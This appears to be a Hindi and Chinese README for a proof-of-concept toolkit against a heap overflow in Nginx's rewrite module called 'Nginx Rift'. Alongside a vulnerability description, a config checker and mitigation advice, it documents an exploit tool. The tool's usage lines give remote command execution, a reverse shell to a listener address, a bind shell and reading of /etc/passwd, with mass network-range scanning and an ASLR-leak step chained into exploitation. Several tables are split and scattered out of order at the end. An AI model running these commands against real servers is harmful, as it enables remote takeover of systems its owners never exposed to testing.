
CVE-2026-42945 Nginx Rift
CVE-2026-42945 (Nginx Rift) के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट टूलकिट, जो Nginx के ngx_http_rewrite_module में एक गंभीर हीप बफर ओवरफ्लो भेद्यता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-42945 |
| नाम | Nginx Rift |
| प्रकार | हीप बफर ओवरफ्लो |
| घटक | ngx_http_rewrite_module |
| गंभीरता | गंभीर (CVSS 9.2) |
| प्रभावित | Nginx 0.6.27 - 1.30.0 |
| पैच किया गया | Nginx 1.30.1 / 1.31.0 |
रीराइट नियमों को प्रोसेस करते समय दो आंतरिक पासों के बीच आकार की गलत गणना के कारण यह भेद्यता मौजूद है। यदि कॉन्फ़िगरेशन में निम्नलिखित का उपयोग किया जाता है:
$1, $2, आदि)? के साथ संयुक्तNginx पहले पास के दौरान आवश्यक बफर आकार की गलत गणना करता है और दूसरे पास के दौरान आवंटित हीप बफर से परे लिखता है।
server {
# भेद्य: अनाम कैप्चर ($1) + प्रतिस्थापन में '?'
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# सुरक्षित: नामित कैप्चर (?P<path>) $1 को बदलता है
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - कोर PoC टूलएकल-लक्ष्य भेद्यता स्कैनर और शोषण उपकरण।
विशेषताएँ:
Server हेडर से Nginx संस्करण का पता लगाएंउपयोग:
# संस्करण का पता लगाएं और भेद्यता का परीक्षण करें
python nginx_rift_poc.py -t target.example.com
# कस्टम पेलोड के साथ परीक्षण
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS लक्ष्य
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# भेद्य परीक्षण कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# सुरक्षित (पैच किया गया) कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - सामूहिक स्कैनरएक साथ कई लक्ष्यों के परीक्षण के लिए बैच स्कैनर।
विशेषताएँ:
उपयोग:
# लक्ष्य फ़ाइल से स्कैन करें (प्रारूप: प्रति पंक्ति host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# एकल लक्ष्य स्कैन करें
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# नेटवर्क रेंज स्कैन करें
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# हाई-स्पीड स्कैन
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
लक्ष्य फ़ाइल प्रारूप:
# टिप्पणियाँ # से शुरू होती हैं
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - कॉन्फ़िगरेशन विश्लेषकभेद्य रीराइट पैटर्न के लिए स्थानीय Nginx कॉन्फ़िगरेशन फ़ाइलों को स्कैन करें।
विशेषताएँ:
nginx.conf पार्स करें और include निर्देशों का अनुसरण करें? के साथ अनाम कैप्चर का पता लगाएंउपयोग:
# एकल फ़ाइल स्कैन करें
python config_checker.py /etc/nginx/nginx.conf
# डायरेक्टरी को पुनरावर्ती रूप से स्कैन करें
python config_checker.py -d /etc/nginx/conf.d/
# भेद्य पैटर्न को ऑटो-फिक्स करें (.bak बैकअप बनाता है)
python config_checker.py --fix /etc/nginx/nginx.conf
# सामान्य Nginx पथों का स्वचालित पता लगाएं
python config_checker.py
enhanced_poc.py - उन्नत RCE PoCdepthfirst के आधिकारिक शोध पर आधारित उन्नत शोषण उपकरण, जो एकाधिक रीराइट पैटर्न और शोषण मोड का समर्थन करता है।
विशेषताएँ:
/api/, /redirect/, /user/, आदि) का स्वचालित पता लगाएं+, &, =, %) के लिए समर्थनcmd / shell / bind / readngx_pool_cleanup_s के साथ डायनामिक स्प्रे बॉडी निर्माणउपयोग:
# पैटर्न और संस्करण का स्वचालित पता लगाएं
python enhanced_poc.py -t target.example.com --detect
# कमांड निष्पादित करें (ASLR बंद)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# रिवर्स शेल
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# बाइंड शेल
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# रिमोट फ़ाइल पढ़ें
python enhanced_poc.py -t target.example.com --read /etc/passwd
# कस्टम हीप बेस (ASLR-बंद लक्ष्यों के लिए)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# ओवरफ्लो ट्रिगर के रूप में & का उपयोग करें
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
शोषण मोड विवरण:
पता कॉन्फ़िगरेशन (केवल ASLR-बंद):
--heap-base: लक्ष्य हीप बेस (जैसे, 0x555555559000)--libc-base: libc बेस पता (जैसे, 0x7ffff77ba000)--system-addr: प्रत्यक्ष system() पता (libc-base को ओवरराइड करता है)aslr_leak_detector.py - ASLR लीक डिटेक्टरASLR सुरक्षा को बायपास करने वाली सूचना लीक का पता लगाने के लिए व्यापक स्कैनर।
विशेषताएँ:
/nginx_status, /actuator/*, आदि)enhanced_poc.py के साथ सीधा एकीकरणउपयोग:
# एकल लक्ष्य स्कैन करें
python aslr_leak_detector.py -t target.example.com
# SSL के साथ स्कैन करें
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# फ़ाइल से स्कैन करें, रिपोर्ट सहेजें
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# नेटवर्क रेंज स्कैन करें
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# त्वरित स्कैन मोड
python aslr_leak_detector.py -t target.example.com --quick
उन्नत PoC के साथ एकीकरण:
# चरण 1: लीक का पता लगाएं
python aslr_leak_detector.py -t target.example.com -o leak.json
# चरण 2: शोषण के लिए लीक किए गए पतों का उपयोग करें
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC उपकरण इन संकेतकों के माध्यम से भेद्यता की पहचान करता है:
| संकेतक | विवरण |
|---|---|
| कनेक्शन ड्रॉप किया गया |
कोई बाहरी निर्भरता आवश्यक नहीं है। केवल Python मानक पुस्तकालय का उपयोग करता है।
# टूलकिट क्लोन या डाउनलोड करें
git clone <repository-url>
cd CVE-2026-42945
# Python संस्करण सत्यापित करें (3.7+ अनुशंसित)
python3 --version
# कोई भी उपकरण चलाएं
python3 nginx_rift_poc.py --help
यदि पैचिंग तुरंत संभव नहीं है, तो अनाम कैप्चर को नामित कैप्चर से बदलें:
# पहले (भेद्य)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# बाद में (सुरक्षित)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
भेद्य रीराइट पैटर्न को लक्षित करने वाले दुर्भावनापूर्ण अनुरोधों को ब्लॉक करने के लिए WAF नियम तैनात करें।
यह टूलकिट केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए है।
यह दोष तीन अन्य मेमोरी-भ्रष्टाचार समस्याओं के साथ खोजा गया था:
| CVE | विवरण | गंभीरता |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI मेमोरी आवंटन दोष | उच्च |
| CVE-2026-40701 | OCSP के लिए DNS रिज़ॉल्यूशन में उपयोग-के-बाद-मुक्त | मध्यम |
| CVE-2026-42934 | UTF-8 पार्सिंग आउट-ऑफ-बाउंड्स रीड | मध्यम |
यह परियोजना शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है।
लेखक: सुरक्षा अनुसंधान दल दिनांक: 2026-06-11
CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。
在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:
$1、$2)? 字符Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — 核心 PoC 工具单目标漏洞检测与利用工具。
功能:
Server 响应头检测 Nginx 版本使用示例:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — 批量扫描器多线程并发扫描多个目标。
功能:
使用示例:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
目标文件格式:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — 配置文件检查器扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。
功能:
nginx.conf 并递归解析 include 引用的文件? 的 rewrite 指令使用示例:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — 增强版 RCE PoC基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。
功能:
/api/、/redirect/、/user/ 等)+、&、=、%)cmd / shell / bind / readngx_pool_cleanup_s溢出触发字符扩展表:
使用示例:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
利用模式说明:
地址配置(仅 ASLR 关闭环境):
--heap-base: 目标堆基址(如 0x555555559000)--libc-base: libc 基址(如 0x7ffff77ba000)--system-addr: 直接指定 system() 地址aslr_leak_detector.py — ASLR 信息泄露检测工具综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。
功能:
/nginx_status、/actuator/* 等)enhanced_poc.py 集成使用示例:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
与增强版 PoC 的联动使用:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC 工具通过以下现象判断目标是否存在漏洞:
| 检测指标 | 说明 |
|---|---|
| 连接断开 | 目标异常关闭连接(Worker 进程崩溃) |
| 网关错误 | 返回 HTTP 502/503/504(Worker 进程已死) |
| 响应变慢 | 响应时间显著增加(进程崩溃后自动重启) |
| 空响应体 |
无需安装任何第三方依赖,仅使用 Python 标准库即可运行。
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
将未命名捕获替换为命名捕获:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。
本工具包仅供授权的安全测试和研究用途。
此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:
| CVE 编号 | 描述 | 等级 |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高危 |
| CVE-2026-40701 | OCSP DNS 解析 UAF | 中危 |
| CVE-2026-42934 | UTF-8 解析越界读取 | 中危 |
本项目仅供教育用途和授权安全测试使用。
作者: Security Research Team 日期: 2026-06-11
| मोड | विवरण | आउटपुट |
|---|
cmd | एकल शेल कमांड निष्पादित करें | लक्ष्य पर कमांड आउटपुट |
shell | रिवर्स शेल उत्पन्न करें | --listen-ip:listen-port पर वापस कनेक्ट होता है |
bind | लक्ष्य पर बाइंड शेल उत्पन्न करें | लक्ष्य पर --listen-port पर सुनें |
read | लक्ष्य से फ़ाइल पढ़ें | सामग्री /tmp/nginx_rift_read में लिखी गई |
| लक्ष्य अप्रत्याशित रूप से कनेक्शन बंद करता है (वर्कर क्रैश) |
| गेटवे त्रुटियाँ | HTTP 502/503/504 प्रतिक्रियाएँ (वर्कर प्रक्रिया मृत) |
| धीमी प्रतिक्रियाएँ | प्रतिक्रिया समय में महत्वपूर्ण वृद्धि (क्रैश रिकवरी) |
| खाली प्रतिक्रियाएँ | बेसलाइन की तुलना में प्रतिक्रिया बॉडी गायब हो जाती है |
| संस्करण मिलान | पता लगाया गया Nginx संस्करण भेद्य सीमा में है |
| उत्पाद | प्रभावित | पैच किया गया |
|---|
| Nginx ओपन सोर्स | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | पैच से पहले के सभी संस्करण | पैच किए गए रिलीज़ में अपडेट करें |
| Nginx Gateway Fabric | पैच से पहले के सभी संस्करण | पैच किए गए रिलीज़ में अपडेट करें |
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2026-42945 |
| 漏洞名称 | Nginx Rift |
| 漏洞类型 | 堆缓冲区溢出(Heap Buffer Overflow) |
| 影响组件 | ngx_http_rewrite_module |
| 危害等级 | 严重(CVSS 9.2) |
| 影响版本 | Nginx 0.6.27 - 1.30.0 |
| 修复版本 | Nginx 1.30.1 / 1.31.0 |
| 字符 | 扩展为 | 每字符溢出 |
|---|
+ | %2B | +2 字节 |
& | %26 | +2 字节 |
= | %3D | +2 字节 |
% | %25 | +2 字节 |
| 空格 | %20 | +2 字节 |
| 模式 | 说明 | 输出 |
|---|
cmd | 执行单条 shell 命令 | 命令输出保存在目标上 |
shell | 生成反弹 shell | 连接回 --listen-ip:listen-port |
bind | 生成绑定 shell | 在目标 --listen-port 上监听 |
read | 读取目标文件 | 内容写入 /tmp/nginx_rift_read |
| 与基线对比,响应体为空(Worker 已崩溃) |
| 版本匹配 | 检测到的 Nginx 版本在脆弱范围内 |
| 产品 | 受影响版本 | 修复版本 |
|---|
| Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | 未打补丁的所有版本 | 更新到已修复版本 |
| Nginx Gateway Fabric | 未打补丁的所有版本 | 更新到已修复版本 |